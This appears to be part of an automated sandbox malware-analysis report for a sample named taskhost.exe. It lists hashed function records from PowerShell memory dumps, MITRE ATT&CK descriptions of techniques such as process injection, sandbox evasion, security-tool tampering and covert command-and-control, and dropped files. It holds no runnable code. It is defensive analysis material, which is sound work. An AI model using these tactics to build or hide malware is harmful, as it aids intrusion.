Opcode Fuzzy Hash: 447a891157702ee1ea3a64ad7e479ff1a1be2e03cc0954be3bc4f3c406d53c56
Instruction Fuzzy Hash: 4AF0E272A0DA098FE758EB5CE4458E873E0EF66320B1100BAE05DC75A3CE25EC46C781

Function 00007FFAAC9A4400 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1463323396.00007FFAAC9A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC9A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac9a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc3e7118cb065a37adda4221be16af64ba1e9321305dad189e930047c74d4b62
Instruction ID: 0a063f1093bfc8d1bebbbfa80b68f554ec4a5b67558df4aa309f466f022d9f8b
Opcode Fuzzy Hash: bc3e7118cb065a37adda4221be16af64ba1e9321305dad189e930047c74d4b62
Instruction Fuzzy Hash: DDF0E272A0D6498FE758EB1CE0458A877E0FF46320B0200B6E04DCB563CB25EC46CB80

Function 00007FFAAC9A41D1 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1463323396.00007FFAAC9A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC9A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac9a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05dd94a12dc45e8f7da9c60e7e1a12ab84c0b153eba5a8a472aa7bc71ce4f1d8
Instruction ID: f5a4383c1ddb190c3d14ecfa2ea4437bf866724b65eb06a4b854a8e951d73d25
Opcode Fuzzy Hash: 05dd94a12dc45e8f7da9c60e7e1a12ab84c0b153eba5a8a472aa7bc71ce4f1d8
Instruction Fuzzy Hash: A6E01A35B0C808CFEA68DB0CE0409A973E1EBA932171151B7D14EC7561CA22ED569BC0

Function 00007FFAAC8D6620 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1462891161.00007FFAAC8D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC8D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac8d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c95cd548828093aaa54af768387e3343cb1328d7c4a6eae186b4bd34d95cb055
Instruction ID: e7ebf2627361e96f9725dde628b10413ed70d78efc2314c1a868b623d822cd4e
Opcode Fuzzy Hash: c95cd548828093aaa54af768387e3343cb1328d7c4a6eae186b4bd34d95cb055
Instruction Fuzzy Hash: 5CE08C30810A0C8F8F44EF18D8099EA77E0FB28305B10429BF80ED3120DB30EA58CBC2

Non-executed Functions

Function 00007FFAAC8D8995 Relevance: 5.1, Strings: 4, Instructions: 135COMMON

Download Yara Rule

Strings

O_^, xrefs: 00007FFAAC8D8A6A
O_^, xrefs: 00007FFAAC8D89C9
O_^, xrefs: 00007FFAAC8D8AC2
O_^, xrefs: 00007FFAAC8D8A2A

Memory Dump Source

Source File: 00000008.00000002.1462891161.00007FFAAC8D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC8D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac8d0000_powershell.jbxd

Similarity

API ID:
String ID: O_^$O_^$O_^$O_^
API String ID: 0-109995703
Opcode ID: 1618c5f615f1da05a1f9010cc031d21d171e836e322c9f5a4f30ab54bde7606f
Instruction ID: c69552315217e3059412f7ef63fbe1e35c250fa5898bd082a7fcd836f7c08407
Opcode Fuzzy Hash: 1618c5f615f1da05a1f9010cc031d21d171e836e322c9f5a4f30ab54bde7606f
Instruction Fuzzy Hash: D4415DD290E7C29FF35B47284C692E56FE1BF67225B0941F7C08D8B593E919680A83D2

Function 00007FFAAC8D89FA Relevance: 5.1, Strings: 4, Instructions: 97COMMON

Download Yara Rule

Strings

O_^, xrefs: 00007FFAAC8D89FA
O_^, xrefs: 00007FFAAC8D8A6A
O_^, xrefs: 00007FFAAC8D8AC2
O_^, xrefs: 00007FFAAC8D8A2A

Memory Dump Source

Source File: 00000008.00000002.1462891161.00007FFAAC8D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC8D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac8d0000_powershell.jbxd

Similarity

API ID:
String ID: O_^$O_^$O_^$O_^
API String ID: 0-109995703
Opcode ID: d5cd5f98308481f5695c00d9ed368d3e8a21665b803d2a68918dd3a82c1f655c
Instruction ID: 793923bbe339aafc15363a09a008ec98463408497da9820d5f5379816eaeb14f
Opcode Fuzzy Hash: d5cd5f98308481f5695c00d9ed368d3e8a21665b803d2a68918dd3a82c1f655c
Instruction Fuzzy Hash: 16314DD3A0E7C28BF35B47195CA52E56FD1FF67229B0941F3C08D8B593E819680A43E2

Analysis Process: powershell.exePID: 7816, Parent PID: 6504COMMON

Executed Functions

Function 00007FFAAC90ADFA Relevance: 1.4, Strings: 1, Instructions: 179COMMON

Download Yara Rule

Strings

fMZ_, xrefs: 00007FFAAC90ADB1

Memory Dump Source

Source File: 0000000C.00000002.1600876747.00007FFAAC900000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffaac900000_powershell.jbxd

Similarity

API ID:
String ID: fMZ_
API String ID: 0-4241199339
Opcode ID: 7b60b7bee4722ed0b8d0781ebf49777116da36729dd70682c49bc18c4962929d
Instruction ID: 8d0694c99301f974aca225bda22392c04cdafe71820a5bec3751f5baeb19dd51
Opcode Fuzzy Hash: 7b60b7bee4722ed0b8d0781ebf49777116da36729dd70682c49bc18c4962929d
Instruction Fuzzy Hash: 86516B72A0D789DFE75997AC98551E97FA0EF53220F0882BBC08DC7153DE24A41AC7D1

Function 00007FFAAC9D3F6C Relevance: .7, Instructions: 684COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1601460134.00007FFAAC9D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC9D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffaac9d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2126b1338a11a4d99d4d487ec7ae63c6f8090cb757b532ec4c03ba96bc133648
Instruction ID: 159fe31eab00d895f30ae1a81b56eeb3cb75a55dde29a84ef4e0793ef1b4c762
Opcode Fuzzy Hash: 2126b1338a11a4d99d4d487ec7ae63c6f8090cb757b532ec4c03ba96bc133648
Instruction Fuzzy Hash: C712146690EBCA8FF757972898156A47FE1EF57220B0941FBD08DC75A3DE18DC0A8381

Function 00007FFAAC9D6605 Relevance: .4, Instructions: 435COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1601460134.00007FFAAC9D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC9D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffaac9d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 551d367e910a9311b58ecbde25c76f33e74a2b9444cc6b25f8d6721618a529d1
Instruction ID: 3d67c527ab8c814c35d4c2c3d2fa4906eb6cf18dd22e5a878dc62bd888fdfb36
Opcode Fuzzy Hash: 551d367e910a9311b58ecbde25c76f33e74a2b9444cc6b25f8d6721618a529d1
Instruction Fuzzy Hash: EFC17DB990EB898FFB96AB6888156B57FE0EF16310B0445FBE04DD71D3DA18DC098381

Function 00007FFAAC90A900 Relevance: .3, Instructions: 320COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1600876747.00007FFAAC900000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffaac900000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b80fb7addb98654fca897187e2a9ba90175245cf6491c4eb0ed99014d54bf209
Instruction ID: d1538ccc1f7fa04ac8ca748569905cca097b605c54a640065b6e701e8be95d20
Opcode Fuzzy Hash: b80fb7addb98654fca897187e2a9ba90175245cf6491c4eb0ed99014d54bf209
Instruction Fuzzy Hash: D7A1286290EBC69FF346876888994B47FE1EF5321470881FED08D9B193ED19A80BC7D1

Function 00007FFAAC909760 Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1600876747.00007FFAAC900000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffaac900000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9beeb8cd1c0de7c3becd2dcd4c0e0739c44ea14f50b7fbf57a3ab3955ebe6a3d
Instruction ID: 47ecb32900abcfb4e84b068a66012796f389a2a5c63fe20874adc77e586c160a
Opcode Fuzzy Hash: 9beeb8cd1c0de7c3becd2dcd4c0e0739c44ea14f50b7fbf57a3ab3955ebe6a3d
Instruction Fuzzy Hash: 0C41097191DB889FEB589F5CAC065A97BE0EB9A710F04816FE449C3292D630AC15CBC2

Function 00007FFAAC7EED40 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1600188347.00007FFAAC7ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC7ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffaac7ed000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 659f47a3f1fc3f38960548768ee675bf442c46498d5d7db0fe8181902e7375dd
Instruction ID: 3dd9fc67a19d2275930b1044a52cab164a82a14f0def014fad1fe53ceea0fce1
Opcode Fuzzy Hash: 659f47a3f1fc3f38960548768ee675bf442c46498d5d7db0fe8181902e7375dd
Instruction Fuzzy Hash: 9141E67140EBC48FE756DB299842A523FF0EF57224B1905DFD088CB1A3D729E84AC792

Function 00007FFAAC9D40BF Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1601460134.00007FFAAC9D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC9D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffaac9d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3591040df56f78be325748834259c2251cb73e6238041f240b75d6017083ff5e
Instruction ID: 172305cbc07997f91eb7ee6263f0c949fea35e6d7558a79051f25c23dc8533ad
Opcode Fuzzy Hash: 3591040df56f78be325748834259c2251cb73e6238041f240b75d6017083ff5e
Instruction Fuzzy Hash: 8A21F57A90EA878FF79ADB1884556746FD1EF76210B5981BBC04DD7592CE1CDC088381

Function 00007FFAAC9D43BC Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1601460134.00007FFAAC9D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC9D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffaac9d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fea047840aebcf2aab5a0744e811ea76f90395a082f3dc97f34d69e25c429314
Instruction ID: 80988af448615d663e31f2813d8a3b48d6a8026e33b2fa02666df6657aa95737
Opcode Fuzzy Hash: fea047840aebcf2aab5a0744e811ea76f90395a082f3dc97f34d69e25c429314
Instruction Fuzzy Hash: A211E37690E6858FF6A6E76C9458A78BFD0EF0222074941F7D05DD7492DE1CEC4887C1

Function 00007FFAAC9033B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1600876747.00007FFAAC900000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffaac900000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction ID: 6cbec6bef6275a2b3fbf09473c8847f8798cff824b1572dc70647071b88d617f
Opcode Fuzzy Hash: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction Fuzzy Hash: E401677121CB0D8FD748EF0CE451AA5B7E0FB95364F50056DE58AC3661DA36E882CB45

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report taskhost.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2h4qzczk.ehe.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2ssandi3.fnr.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cdbcksok.hvs.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qncwajxb.2ny.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u3uyyjfj.mch.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ucnag1jr.kpi.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vgje4wqj.oc3.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wcddv54a.qmm.ps1

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Windows Analysis Report
taskhost.exe

Function 00007FFAAC911511 Relevance: 5.4, Strings: 4, Instructions: 390
COMMON

Function 00007FFAAC916C01 Relevance: 1.6, APIs: 1, Instructions: 124
COMMON

Function 00007FFAAC915656 Relevance: .5, Instructions: 475
COMMON

Function 00007FFAAC916402 Relevance: .5, Instructions: 461
COMMON